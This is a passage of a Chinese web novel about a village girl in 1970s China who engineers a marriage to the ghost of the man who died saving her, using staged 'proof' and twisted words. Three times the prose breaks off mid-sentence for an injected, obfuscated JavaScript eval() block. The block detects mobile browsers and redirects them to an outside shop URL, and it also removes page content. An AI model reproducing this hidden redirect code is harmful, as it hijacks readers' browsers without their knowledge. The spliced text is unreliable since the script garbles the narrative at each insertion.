“嫂子,你先让国强去院子里玩,我有事要和你们讲。”钟颖说。 本来吃完饭就想往外跑的钟国强小朋友不乐意了,“讲啥?我不能听?” “对,你听了晚上会尿床。”钟颖故意戳他痛点。 钟国强已经三岁了,初见男性特点——“要脸”,一听这话立马就跑出了屋子,他才不要尿床,太丢人了! 苗素云对着儿子喊了一声,“别出院子,一会儿天就要黑了!” 冬日里天黑得格外早。 邓霞纳闷的看向闺女,“你要说啥事?” 这么郑重其事的,害得她心口莫名的惴惴不安。 钟颖见嫂子把屋门阖上,开始了她的表演。 “爹、娘,我不能嫁人了!”钟颖“悲伤”的说道,一把捂住了脸,不捂不行,毕竟她不是专业的演员。 她这一嗓子唬得邓霞一惊、钟春生差点掉下板凳来,就连一旁已经默许她行为的死鬼都忍不住侧目。 这是要干啥? 苗素云连忙抚上钟颖的后背,关切地问,“怎么了妹妹?发生什么事了?” 钟信也是一脸担心。 “我一直没敢说,其实……其实他死了之后,一直跟着我……”钟颖故意吸了一下鼻子,假装委屈巴巴的哽咽说道。 “他”?他是谁? 所有人心头涌上这样的疑问。 钟颖继续说,“娘你最近提了好几回嫁人的事,他就不乐意了,说、说他拿命救了我,我怎么能嫁给别人!” 人和鬼都震惊了。 邓霞惊得声音都变了调,“李家的那小子一直缠着你?!” 李霖时也吃惊的看向钟颖,“我什么时候这么说过了?” 他不是,他没有! 钟颖没理他,继续她的表演,“他说我要是敢嫁给别人,他就把那人在我面前弄死!来一个他弄死一个,来一双他弄死一双!” 阴湿文学,钟颖还是看过几本的。 李霖时瞳孔微颤,“……杀人是要进畜生道的,我又不是疯了!” 钟春生眉间紧锁,“颖妮儿,你不会是在唬人吧?” 不怪他起疑,实在是这闺女脑子太鬼机灵,五岁时就会装哭骗走她哥碗里的肉、十来岁开始爱漂亮后想要红头绳能坚持好几天披散着头发……就算他是亲爹,钟春生都不得不承认,他这闺女有种“不达目的不罢休”的品质,多少回了,别人只有被她牵着鼻子走的份儿。 邓霞从震惊中清醒了一些,也是满眼怀疑的看向女儿,“他真的变成鬼跟着你了?” 虽然邓霞深信山神娘娘的存在,每逢初一、十五的日子都会去村子后面的山神庙里烧个香,但要说“鬼”,她还真没那么相信有这种存在,可见她的愚昧思想也是相对辩证的,和后来人们主张的“信则有、不信则无”有异曲同工之处。 钟颖就知道不可能这么简单的凭借她的三言两语就“过关”,所以提前做了一点小手脚。 她眼神从指缝间悄咪咪的往地面上瞄,见痕迹开始显现了,立刻腾出一只捂脸的手,指过去,“他真的就在。” 一屋人的目光齐齐看过去,有一刹那,李霖时真的有种被人们看到的感觉,只不过下一秒他才反应过来,人们看的不是他,而是他身前一步远的那块地面。 目光汇聚下的夯土地面缓慢的一寸寸显露出颜色稍浅些的男人脚印,好似真的有什么站在那里,因为人的质疑而不满的露出了一点痕迹。 邓霞倒吸了一口凉气。 钟春生呼吸一滞。 苗素云坐着的板凳因她后退的动作发出刺耳的呲啦响声。 钟信惊疑不定的看着那脚印,又看向他姐。 这不是李霖时的手笔,就连他看了那显现出的脚印都疑惑不已,问钟颖,“你做了什么?” 钟颖只是偷偷拿了一点厨房的盐,兑了点温水化开,趁着吃饭前家人们不注意悄悄在地面上画了一个形象的脚印,冬天气温低,盐水干得慢,直到饭后水分才慢慢蒸发掉,而留下的盐结成白色的小结晶体,这些晶体让画过的地方变白,显露出画下的图案。 看似是什么非自然现象,但其实就是个小学生都会的物理小实验。 见家人们终于都信了,钟颖长出了一口气,果然还得是科学,科学打败迷信,亘古不变。 腊月十五那天,一大早李明就和生产队的几个壮劳力把队里养的猪大半交售给了公社供销社下的食品收购站,和粮食一样,猪也是有“任务”的。 每年公社会划给各个生产队不同数量的猪仔,这叫“派养”,猪养大养肥之后,再“派购”给收购站,当然这个是给钱的,而且为了提高农民养猪的积极性,还会给予“斤猪斤粮”的奖励,按每两公斤毛重奖售粮食一公斤、按猪价款每元奖给布票两寸,偶尔还会奖励少量的工业品券。 同甘生产队的众人都聚集在打麦场的空地上,听队长说话。 “去年咱们公社一共养了九头猪,今儿个交售上去八头,总共得了四十九尺的布票、两百四十六块钱,其中二十四块六买了一百二十三公斤的粮食,和以前一样,粮食算进集体粮里统一分配,钱扣掉养猪成本和买农具、农药的公积金后,再按工分分配……” 李明说的清清楚楚,也就没人有意见。 人们更期待接下来的杀猪,虽然同甘生产队不像其他富大队一样有能力养更多的猪、甚至那些大队里一些农户自家都能养上头猪,但临近年关也是能每人分上半斤或一斤的肉。 绑住手脚的猪被抬上杀猪的大条凳,似乎知道自己的命不久矣,叫得格外凄惨尖锐。 曹芳飘在半空中,看着人们热火朝天杀猪的场景,每年看每年都觉得触目惊心,她忍不住拍着胸口对自己说,“不能杀人哦,杀人下辈子只能这样被宰了,太可怕了……” 钟颖闻言瞥了一眼站在人群外的男鬼,心想,这可真是对鬼的警示,瞧见没,不想下辈子沦落到如此境地的话,可千万老实点。 人群中,胡打听和聂英挨着站,两人顺便说起话来。 “现在谁被周长庆家的搭话心里都得掂量掂量了,毕竟没人敢说自己闺女一定就能生出个儿子来。”胡打听讥讽,又对聂英说,“这事你家二妮能从泥坑里拔出萝卜不带泥,没被牵连的坏了名声,你可得好好谢谢钟老二家的和她闺女!还有大妮生产时,也是她家忙前忙后的……” 胡打听不禁感慨,“就像颖妮儿说的那句话,远亲不如近邻,真遇上事了,还不是你这互掐了十几年的老邻居帮了忙!” 聂英脸上表情有些不自在,“行了,我又不是那种不知好赖的人!” 等到分肉的时候,聂英分得一块脖头处的五花肉,肥肉不少,和未来人们爱吃瘦肉不同,缺油水的年代肥肉才是宝,这种五花肉既能拿来炼猪油,拿来炒菜、剁馅包饺子都是好的。 聂英提溜着肉条,看到邓霞手里的肉,她像以往那样凑上前去,只不过这次没有炫耀自己的、嘲笑对方的,而是别别扭扭的说,“你这分得的什么肉,连点肥的都没有,呐,我家的跟你换,我聂英可不是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608115|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知感恩的——” 邓霞硬邦邦的打断她的话,“不用。” 聂英睁大了眼睛,盯着邓霞难看的脸色,她简直难以置信,不是?她都这样说软和话了,这钟老二家的不应该接住她给的梯子往下下吗? 邓霞脸色难看倒不是针对聂英,只是任谁的女儿被鬼缠上了不让正常嫁人,都不会有个好脸色。 聂英看着邓霞就这么离开,又气得不行,势不两立!她和这人这辈子都不可能亲近的! 可紧接着,聂英就见邓霞又倒回头来。 “你知道有什么驱鬼的法子吗?”邓霞压低声音,悄悄问道。她想着都帮聂英家闺女两回了,也该反过来帮帮她闺女了。 聂英懵圈的眨眨眼,“啊?” 自从在家里人面前“露了一手”之后,钟颖有种恍恍惚惚进入家族群打假的感觉,不过现代人的家族群是家人们转发「惊!吃外卖等于慢性自杀」、「茄子治糖尿病,一定要多吃茄子!」等等毫无依据的推文,那么当下钟颖面对的就是同样毫无依据的驱鬼土方子。 钟诚把家里扫帚倒放在钟颖屋里角落,认真的说,“姐,你别动这个,我特意问的,这样鬼就不敢接近你了。” 钟颖看着那倒立的扫帚,脑海里浮现魔性的曲调,“哈利波特骑着扫帚飞,骚瑞骚瑞……”,她晃了晃脑袋,等弟弟走后,钟颖问一旁的鬼,“有用?” “……没用。”李霖时也有些无语,这就是把普通的扫帚,倒着放也还是扫帚。 邓霞带着钟颖三天给山神娘娘上了两次香,试图用向神许愿的方式来赶走缠着女儿的死鬼。 钟颖看着跟进庙里的男鬼,眼神询问:感受到来自山神娘娘的压迫感了吗? 李霖时:…… 他只感受到了钟颖带来的“压迫”。 那天李霖时也曾过后质问钟颖为什么要乱诌,他根本没说过什么要是她敢嫁给别人,他就把那人弄死这样的话。 钟颖对此只故作一脸深沉的回答了一句——“只有活人才能书写历史”。 不就是说活人想说什么就是什么,李霖时简直要被她气笑了,他又是因为谁死的? 苗素云端来一碗草木灰水,让钟颖喝了“驱鬼”,“草木灰干净,肯定管用。” 钟颖看着碗里的黑黑灰灰泥浆一般的水,对鬼肯定没用,对人肯定管用,这喝了肯定闹肚子。 钟老爹的法子是红线捉鬼,碗里盛满干净的水,然后在碗口外沿围上一条红线,摆在了钟颖床尾。 结果是早上钟颖迷迷糊糊起床时一脚踩翻了碗,还是鬼好心扶了一把她才没摔跤。 钟颖真想让他们别折腾了,封建迷信要不得,这些都是假的。 邓霞提着一条猪肉风风火火的回到家,“隔壁你范五婶子又给我说了一招,斩鸡头!” 秋收时家里已经宰了一只鸡吃了,现在鸡圈里就剩一公一母两只成年鸡和两只才巴掌大的小鸡仔。 邓霞犹豫了片刻,担心小鸡效力不够、又舍不得能下蛋的母鸡,最后她掐住了相对来说更没用的公鸡的脖子,把它提溜了出来。 按照聂英说的,一刀斩下鸡头扔过屋顶,这样就能驱赶家宅中不干净的东西。 “怎么样?走了吗?”等了会儿后,邓霞期待的看向女儿。 钟颖捧着瓷碗,嘴巴不停的嚼着鸡肉,听到她娘问话才把埋在碗里的脸抬起来,“啊?” 她看了一眼李霖时,“没走呢,还在还在。” 邓霞气极,“怎么一点用都没有啊!” 钟颖连连点头,封建迷信一点用都没有,还害鸡不浅! 她嫂子做的炖鸡可真好吃,啊,真香~ 42. 春秋笔法 眼看着马上就要过年了,生产队里谁不是满脸红光、喜气洋洋的,偏钟老二一家子个个沉着个脸,李明还被钟老二家的暗暗瞪了好几回,就连一向是个和气老实人的钟老二对他也没了好脸色,惹得李明心里纳闷了好几天。 直到钟老二一家子上门拜访,李明才知道了是为什么。 邓霞和钟春生两口子是真没招了,什么办法都试过了,全都没用,一问闺女就是那鬼还在,那还能怎么办,只能来找这当爹娘的了。 李明和刘红艳两口子懵懵然的对上钟家三口人,邓霞板着脸、钟春生脸色冷沉,只带了闺女钟颖,不知道的还以为是他家小子欺负了钟家闺女,被人爹娘找上门来算账。 “先让几个小的出去吧,这事你们老两口听着就行。”邓霞嘴角下撇,语气也说不上好。 刘红艳倒是好脾气,让大儿子、二儿子带着他们媳妇、孩子们都先出去回各自屋子。 等到屋门关上,邓霞才泄气一般的看向钟颖,“你说说吧。” 钟颖站出来,弱弱的(她装的)撩起眼皮看了一眼李明和刘红艳,“李大伯伯,伯娘。” 刘红艳还一头雾水呢,如往常般和声和气的问,“怎么了闺女,你说。” 钟颖又看了一眼屋子里的李霖时,那她可就要开始说了。 “李霖时死后来找我,说要娶我……” 这句意料之外的话令李明和刘红艳齐齐变了脸色,异口同声的惊呼,“什么?” 钟颖手指搅着棉袄衣角,“他还晚上来我屋里……” 李明和刘红艳俱是倒吸了一口凉气,还真是他们家小子欺负了人家闺女,被人爹娘带着一块儿找上门来算账了! “之前伯娘想要给他结阴亲,也是他不愿意,非逼着我去找你说。” “还有,我们已经有了夫妻之实……” 李霖时站在一旁听不下去了,忍耐的咬紧后槽牙,“你能不能把话说清楚,我和你只不过是为了长贵才拜天地走了一遍过场,不要说得好像、好像……” 继“活人才能书写历史”之后,钟颖又给他来了一招“春秋笔法”。 这叫适当的留白,钟颖心想,绘画上也有这么个说法,有意保留空白区域,给人遐想的空间。 果然人们已经想歪了。 邓霞也是头回听女儿说到这事,她脸色大变,“什么?他已经欺负你了?!” 钟颖委屈的点点头,“我也不想的,他掐我脖子……” 李霖时深吸了一口气,他是掐过她脖子,但那时候是想要她的命!可她现在这么说、这么个语气,别人会以为他掐着她脖子逼迫着把什么事都做了! 李明咳了一声,“颖妮儿啊,你是不是梦里梦到他了?” 比起相信这些匪夷所思的话,李明更怀疑钟颖是不是疯了、精神出问题了。 钟春生拧紧眉头,“那天我们在家都看到了,正说着话呢,地面上突然就多了个男人的水脚印。” 钟颖附和着,“是啊,李大伯伯,他现在就在屋子里呢。” 李明和刘红艳顿时不住的打量着屋子里,心里有点发怵,但又想要找到儿子的存在。 “你要不要和你爹娘说点什么?”钟颖看向李霖时,在其他人眼里则是她在对着一片虚空说话,场面诡异的令屋子里的众人都后脊梁骨发凉。 李霖时说,“你跟他们解释清楚,我没做不该做的事情。” 他是有道德底线的,不论是当人还是做鬼,他都一直保持着男女之间该有的距离,哪怕杀心最盛的时候,看到不该看的他也是立刻就避开了。 钟颖说,“他说他做的都认,他就是想要得到我、占有我。” 李霖时怒火中烧,漆黑的眸子里仿佛燃起冰冷的火焰,不只是因为她故意扭曲的话语而愤怒,还有……恼羞成怒,就像被人戳穿了一直以来小心隐藏着的东西。 “我、没、有!”李霖时下颌绷紧,一字一字从牙缝中挤出,青白的脸阴沉着,显得更加难看恐怖。 邓霞也是脸色难看的很,扭头去质问李家夫妇,“这让我闺女还怎么嫁人?” 钟春生跟着说,“颖妮儿说,你家四儿不乐意她嫁给别人,不论嫁给谁,他都给弄死。” 刘红艳抚着胸口,跌坐在凳子上,已经信了大半,“确实是四儿能干出来的事……打小他的东西就从不让别人碰……” 李霖时皱着眉转头看向他娘,他不让别人碰是因为别人一动,他自己就找不对地方了。 但显然他专注在学业上的时间太久,与家人的相处时间太短,所以对彼此的认知都有些偏差。 李明也以为自己小儿子是这么个霸道脾气,以为李霖时死后做了鬼后变得更加偏执,本来救人的恩情现在反倒变了味,他羞愧又为难,“这、这可怎么办才好?” “儿啊,你别执着了,该投胎就去投胎吧。”刘红艳对着虚空苦口婆心的劝道,“活人和鬼是没结果的,你再抓着不放也不过是强求。” 李霖时有种哑巴吃黄莲的感觉,憋屈得不行,现在强求的是他吗?强求的人分明是钟颖! 他直直的看向一切的“罪魁祸首”,压抑着愤怒的可怖目光,仿佛下一秒会扑上来的猛兽。 钟颖仿佛没感受到一般,只是怎么可能,这样仿佛要穿透她脑袋的强烈视线,她怎么可能感受不到,最糟的结果不过就是被“猛兽”扑过来,像以前那样被掐住脖子,总好过嫁给一个三观不同、无法沟通的男人、一个接一个的生孩子。 人终有一死,或早或晚,钟颖有种看开的超然物外,不是现在被愤怒的男鬼掐死,就是未来死在生孩子的床上、或者七老八十因为身体被掏空而失去生机。 而且……钟颖也不是疯狂的赌徒,这鬼从没当着别人的面动过手,她是讲科学和概率的,百分之九十九点九的概率她不会死在当下。 和原本“钟颖”的有恃无恐没什么两样,钟颖伸出左手,撸起衣服袖子,露出手腕上一道粉色的勒痕,“他还给我留下了标记,我都不敢让别人看见……” 李霖时气笑了,伸出他的手腕,“到底谁给谁留下的标记?” 苍白手腕上的鲜红头绳和钟颖自己拿头绳勒出来颜色已经变浅的印子,好一个李逵一个李鬼。 刘红艳羞愧到满脸涨红,儿子这都干得什么不是人的事!不过她又转念一想,她儿子现在还真的已经不是人了。 李明也是窘迫难堪,儿子要还是人的话,这个时候负起责来就行,但现在…… “颖妮儿啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613045|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大伯对不住你,看他都干得什么混账事!”李明呵斥,又惭愧的说道,“但总不能让你真的给他守寡……” 可以的,可以的!钟颖克制住自己内心计划快要达成的喜悦,继续“推进”,“他说他生是我的人,死是我的鬼,这辈子他是缠定我了,我要嫁……只能嫁给他。” 李霖时竭力克制着。 她怎么可以这么的坏。 自私、狡黠、颠倒黑白。 三言两语就能操控人心,一步步按照她计划的那样走向她想要的结果。 可是凭什么,她怎么可以总是这样用简单的一字一句就能轻易令他的情绪挑起波澜? 他好不容易平静下来,几乎已经割裂掉最接近“人”的部分,但现在,那些澎湃的情绪又回来了。 李霖时突然有些恨她,一种近乎恨的怨愤。 他理智的知道钟颖说的那些话都是别有用心,都是为了她自己,但……还是无法避免的心神紊乱。 一种令他浑身震颤的惧怕横生,近乎溺水一般,李霖时仿佛感受到了来自理性那一面的警告,不对,他不应该放任她想做什么就做什么,不可以再任由她这样子缠上来了……他会再次溺毙、再次无法抽身。 而钟颖犹如站在岸边,在他沉沦时扔下一块又一块的“石头”。 在这种“溺水”恐惧和自救本能的驱使下,李霖时突然伸手扼住了钟颖的脸,他眼神冰冷诡谲,周身弥漫着阴郁晦暗的煞气,此时脑海中只有一个念头:不能让她再说了。 几个当爹娘的正都觉得荒唐和难以接受,人怎么能嫁给鬼呢? 钟颖还想再以退为进加点火,“我也不想的——” 不等她说完,就被鬼掐住了脸颊。 钟颖下意识的抓住他青筋绷紧的手臂,有些反应不过来的眨眨眼,第一反应是,怎么不是掐脖子而是掐脸?掐脸是掐不死她的啊,顶多是让她说不出话来。 其他人看不见李霖时,但能看到钟颖脸颊上突然显露的指痕,力道极大的陷进皮肉之中。 两方爹娘亲眼目睹这一幕后,再也没了任何怀疑,只都着急的劝说着。 “儿啊,先把颖妮儿放开,娘答应你还不行!”刘红艳急得想来扒拉儿子,却又看不见鬼、碰不到他,心里更着急了。 邓霞也急,“嫁你嫁你,快撒手把我闺女放开!” 钟春生也忧心女儿,着急地说,“知道了你不愿意听她接下来的话,她不说了,不说了,你快放了她!” 李明沉着脸摇头,重重的叹息一声,呵斥道,“放手,没见都答应你俩的婚事了吗?!” 钟颖顿时睁大了眼睛:啊?成了? 李霖时黑眸中恢复了些清明,也有点懵了,他本来是想阻止的,可怎么会? 刘红艳和李明夫妻俩因儿子做出的混账事羞愧难当。 邓霞和钟春生则心中满是担忧,找个一般女婿,要是对闺女不好,他们还能教训一二,但这……像刚刚那样,他们啥也做不了,闺女以后难道只能任他欺负? 只有钟颖是高兴的,早知道他一怒就事半功倍,她就说得更过分一些,早点惹他发火动手了。 不过邓霞和钟春生两口子真的是担心早了,从来只有他们闺女欺负鬼的。 43. 槽多无口 讽刺的是,即使是嫁给一个死鬼,商谈婚事细则也只能是双方爹娘谈,钟颖连旁听的资格都没有,未婚女儿家要避嫌和矜持,一向都是不允许在场的。 更讽刺的是,这一切的幕后推手,偏偏是这个寻常意义下被安排的对象,钟颖这个做闺女的。 不过钟颖已经把自己塑造成了“完美受害者”了,相信有她娘在,也不会坑女儿。 也就一个来小时,堂屋门终于又打开了,特意登门来钟家商谈这桩特殊婚事的李明、刘红艳两口子道别离开,邓霞这才转到女儿屋子,像大多数家庭中的娘亲一样来和闺女传递一些婚事相关的讯息。 “日子定在春分之后的农历二月十三,”邓霞说,“本来现在都提倡不收彩礼,要么就是私底下少给点,李家愿意给四十,再加上他家四儿先前自己攒下的还有十几块钱,他家愿意凑个整,一共给六十元的彩礼。” 邓霞说着,就直接从兜里把这钱拿了出来,“你自己拿着吧。” 一想到这钱是怎么来的,邓霞心里就膈应,她还是耿耿于怀钟颖“被迫”守寡的事,于是干脆全给了闺女,让她自己拿着。 钟颖眼睛不可抑制的亮了,钱!自打在这个时空生活她就没再摸过钱,当钱用的鸡蛋倒是摸过许多回。 六十元不算小数目了,钟颖记得赶集时看到过的这个时代的物价,鸡蛋拿去卖钱的话是五分钱一个,要卖一千两百个鸡蛋才能换来六十元钱。 邓霞继续说,“房子本来也早已经给李家四小子盖了,他家说了,这房子本就是给小夫妻结了婚住的,现在也照样给你,里面的家具会尽快置办齐全,‘三十六条腿’不会少。” 钟颖惊喜,还有房子? “三十六条腿”是人们习惯性的说法,其实指的是一套家具:一个衣橱、一个柜子、一张桌子、四把椅子、一张床。要置办这么齐全的一套家具可要花不少钱,一个农村家庭两年的收入都得搭进去。 李明和刘红艳两口子心里愧疚,毕竟好好的闺女因为他们儿子的原因后半辈子只能守寡,所以商谈婚事事宜时样样宽厚,不像彩礼更像赔礼。 还不止票子、房子,邓霞又接着说,“他有两个兄弟,以后谁家儿子多,会过继给你一个。” 这个钟颖就不想要了,“孩子就算了吧,也不必这么一步到位……” 钟颖既不想生小孩,也不想养小孩,她对小孩这种生物就没什么感觉,而且养别人的小孩,这不是拿她未来妯娌们当代孕妈妈吗?噫,知法懂法的现代人可干不出来这种事,漏漏漏,拒绝了哈。 “女人家以后没个孩子怎么能行?谁给你养老?”邓霞瞪她,“而且你以为是现在就能给你一个儿子啊!他大哥、二哥现在各家就一个儿子,你就等着吧,还不知道谁家能再得几个儿子!” 钟颖稍稍放下了些心,“等着”,四舍五入约定于零,就像她一推再推没去打卡的咖啡店、在收藏夹里积灰的健身视频和一直没影儿的休假。 邓霞突然问闺女,“在吗?” 钟颖知道她娘说的是谁,她娘现在基本上都是省略名字,就像某著名魔法文学中的那位——“Youknowwho”。 李霖时确实神出鬼没的,自从掐了钟颖的脸之后,这鬼就一直处于一种低气压中,啧啧,气性真大。 他刚刚是跟着邓霞前后脚进的钟颖屋子,显然这鬼是有去偷听两家爹娘商谈婚事。 钟颖睨了一眼,回答她娘的问题,“在呢。” 邓霞对着虚空,咬着牙恶狠狠地说,“这下你满意了吧?” 李霖时看着钟颖,阴沉着脸,“这下你满意了吧?” 钟颖连连点头,满意满意,她很满意,有钱有房,意外之喜,她还能有什么不满意的呢? —— 婚事定下了章程,两家各自放出风声,不过对外的说辞稍微美化了一下,毕竟被鬼缠上不是能宣扬的事情。 于是钟颖成了无法忘怀李霖时的舍命救她,一意报恩,以身相许,抱主成婚,戴上了一顶“贞烈”、“重情重义”的高帽。 钟颖一下子从过去人们口中“奸懒馋滑、脾气还不好、谁家敢要这样的媳妇”变成了“这姑娘有情有义啊”。 从坏名声变成了好名声,钟颖自己都有点说不出话来的心情复杂,就挺唏嘘和讽刺的。 当然也不是所有人都这么想。 钟妮找到堂姐,拧着秀眉看向钟颖,“姐,你怎么这么想不开啊?” “不,我是想得太开了。”钟颖似是而非的说道。 曹芳倒是脸色一片欣慰的神情,“我早就觉得你俩这是剪不断理还乱的姻缘。” 李霖时面无表情,可不是已经乱了套。 钟妮看不见,但钟颖能看见,她看着堂妹和她身后飘着的大伯娘,再向后用余光瞥了一眼自己身后的男鬼,钟颖忍不住低下头掩饰唇角的笑意。 实在是又奇怪又好笑,她们一人身后跟了一只鬼,简直像什么背后灵守护神数码宝贝之类的。 钟妮看着低头偷笑的堂姐,突然就释然了,她刚和刘广田定亲那阵子也是总忍不住的发笑,感觉天也蓝了、水也清了,一切都是那么的美好。 之后钟颖又遇到了范大妮、范二妮,甚至连知青都来劝说她。 钟颖颇有些惊讶的看着面前的女知青,她和这个叫杨美娟的女同志其实并不怎么熟络,即便是同在打麦场工作了一段时间,杨美娟还是和另一个叫陈丽娜的女知青走得更近些,两人同出同进的。 “你的思想是错误的、落后的!”杨美娟义正言辞的说道,试图改变面前这个小村姑的愚昧思想,“你不应该为了报答恩情搭上自己的一生!” 钟颖双眸晶亮的看着她,原来已经有女同志思想在进步了呀。 杨美娟被她这样的目光盯着,忍不住耳廓发红,强撑着说,“生产队的事我们知青也都知道,哪怕是拿命换了你的命,你也不该这样想,除了以身相许,还有很多还恩情的方法。” “谢谢你,我知道。”钟颖认真的感谢她的好意,“不过我还是得这么做。” 杨美娟耳朵上的热度消失,她被气到了,好言相劝换来死不悔改? 钟颖看着女知青气鼓鼓离开的背影,有些莫名,“她为什么生气?” “呵。”李霖时冷笑一声,谁遇上钟颖能不生气?他生的气就少吗? 没过两天,钟颖又遇到了一个男知青,巧得很,还是她曾经抛过媚眼的那一个。 程彬眼神复杂的看着面前的年轻女孩,他又不迟钝,怎么感受不到她的别有用意,只不过是还想着总有一日要回城、不想在这农村娶妻生子扎了根而已。 钟颖看着这男知青先是一脸复杂、接着又变成下定决心,简直像变脸表演似的。 “如果是你爹娘逼你这么做的,”程彬下定决心,“那我去和你爹娘说,我愿意娶你!” 钟颖懵了,“啊?” 身旁的男鬼投来阴测测的目光,“你和他还有一段呢?” 钟颖连连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622210|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆手,“不是不是,不用不用。” 男的是不是都有病啊?昨天的你对我爱答不理,今天就来舍身取义救风尘了? 钟颖真的是觉得槽多无口。 上年纪的婆子间也在讨论着钟颖。 “腊月二十五,磨豆腐”,同甘生产队里几家的妇人凑在一起,在胡打听家的院子里支起大锅做豆腐。 泡豆、磨浆、过滤、煮浆、点卤、压型,这一系列的活儿都需要多人协作才能做好,众人一边干活儿,一边聊着天。 聂英推着磨,说起这两天生产队里的“新闻”,不赞同的看向倒豆子的邓霞,“你也不好好劝劝你闺女,怎么这么死脑筋的非要报什么恩,抱热乎男人不好吗?” 院子里都是结了婚的媳妇,没有未婚的大姑娘,于是说话也就没了顾忌。 胡打听在一边起哄,“就是就是,姑娘家的不懂,你一个当娘的还不知道大冬天的有个男人暖被窝的好处?我这些年可是真觉得冬天被窝冷。” 胡打听的男人是六年前得了痢疾没的,她是生产队除了三姑婆以外的另一个寡妇。 林淑红和胡打听关系好,跟她开着玩笑,“那你怎么不再找一个?给别人做了这么多次的媒,也给自己做一回呗!” 胡打听笑着啐了她一口,“我都该安享晚年的年纪了,才不再找个男人来伺候呢!而且现在说钟老二家闺女的事,别拿我打岔!” 话题又被绕了回去。 邓霞有苦说不出,哪里是她闺女死脑筋,明明是鬼死脑筋!而且邓霞越寻思越觉得是李家四儿故意报复,毕竟其他人不知道,她可是知道的,当初是她闺女想要强嫁给他,反倒害得他丢了性命。对,一定是这样,所以这鬼才要她闺女给他守寡,这就是报复! 真是越想越想郁结,简直像缠在一起的麻绳,理不出个头绪来! 邓霞心烦意乱,没多想顺着胡打听的话就反驳道,“这样不也挺好,一嫁过去男人就是个死的,打年轻时候就不用伺候男人!” 说笑的妇人们顿时哑口无言。 谁不是从年轻时候过来的,刚到别人家做媳妇时都多多少少吃了些苦头,操持家务、生儿育女,忙得没个停下来的时候,也就熬成婆了,又有年轻媳妇孝敬着帮忙打下手,日子才算是终于好过了些。 一想到邓霞的闺女起步就是她们这些“多年媳妇熬成婆”现在的好日子,而且还是在生产队队长家守寡,胡打听都忍不住酸了,“你姑娘可真是命好。” 众媳妇只让她做泡豆子这种轻活儿的三姑婆乐呵呵的开口,“颖妮儿确实命好,八字就很好,日主强健,代表有着极强的生命力;食伤星发达,意味着她聪明、有主见。” 林淑红一听,“三姑婆,队长还特意找你算了俩小孩的八字?” 三伯婆点点头,“算了,正儿八经的算了,男水女土,土克水,女方要压男方一头。” “那不是跟钟老二家的和她男人一样吗?”聂英忍不住嘀咕。 胡打听调侃,“就颖妮儿随了她娘的脾性,嫁给谁不是都得压男方一头?” 一时间众人哄笑起来,纷纷赞同。 三姑婆听着她们耍贫嘴,年迈的脸上笑意一直没消下去,只不过她没说的是,男命的八字中财星为喜用神,且旺而逢生有根有气,位于婚姻宫的日支,这是夫贤助妻的命格,也就是俗话说的“旺妻命”。 想到已经去世的青年人,又想到钟颖那丫头,三姑婆暗自摇了摇头,叹了口气,到底是可惜了。 44. 颠倒的婚礼 生产队每年都是过了正月十五、拜了山神娘娘后才会正式复工,这时候天气还冷着,地里的活儿不多,也就是倒腾粪、翻耕到地里,作为开春播种小麦的底肥。 如同慢慢重新启动的大型机器,生活在田野上的人们逐渐恢复以往的劳作,时间一天天过去,天气渐渐转暖,不知不觉就到了年后第一个好日子。 阳历的三月三十日,阴历的二月十三,宜祭祀、祈福、结婚、乔迁。 作为年后的第一个好日子,赶在地里活计变忙前,几个生产队几乎都各有喜事定在了这一天。 做了二十几年红白喜事的钟春生却推拒掉了今天所有的赚外快机会,只在堂屋里坐了一天,他的老伙计唢呐静静立在旁边半人高的橱柜上,仿佛无声的陪伴。 钟春生心里说不出的难受,别人家的闺女出嫁他不知给吹了多少回的唢呐,偏到他自己闺女出嫁,他却吹不了一曲音调高昂欢快的唢呐。 嫁给一个死人,哪能有寻常婚嫁能有的热闹? 懂事的钟信走过来沉默着拍了拍老爹的脊背。 一墙之隔的另一间屋子里,邓霞亲自把女儿的头发盘起来,发尾掖进发髻中,从姑娘的双麻花辫到妇人的盘发,直观的身份转变令邓霞强忍着的眼泪再也无法憋住。 钟颖站起身,扶住她娘的肩膀,故意用戏谑的俏皮话打趣道,“瞧瞧,说出去谁敢信啊,同甘生产队的泼辣妇、母夜叉,居然也有掉眼泪的时候!” 伤心立刻变成了上火,邓霞擦掉眼角的泪,没好气的推开女儿,“闺女出嫁,我一个当娘的掉个眼泪怎么了!” 钟颖看看邓霞,又看了看屋子里抱着儿子的苗秀云、特意过来作陪的钟妮,几人都没有个笑模样,她无奈的说,“哎呀你们别这样,好像我今天出了这个门就再也回不来了。” 地上摆着两个刷了棕色木漆的嫁妆箱子,却少了本应在外面贴上用红纸剪出的喜字; 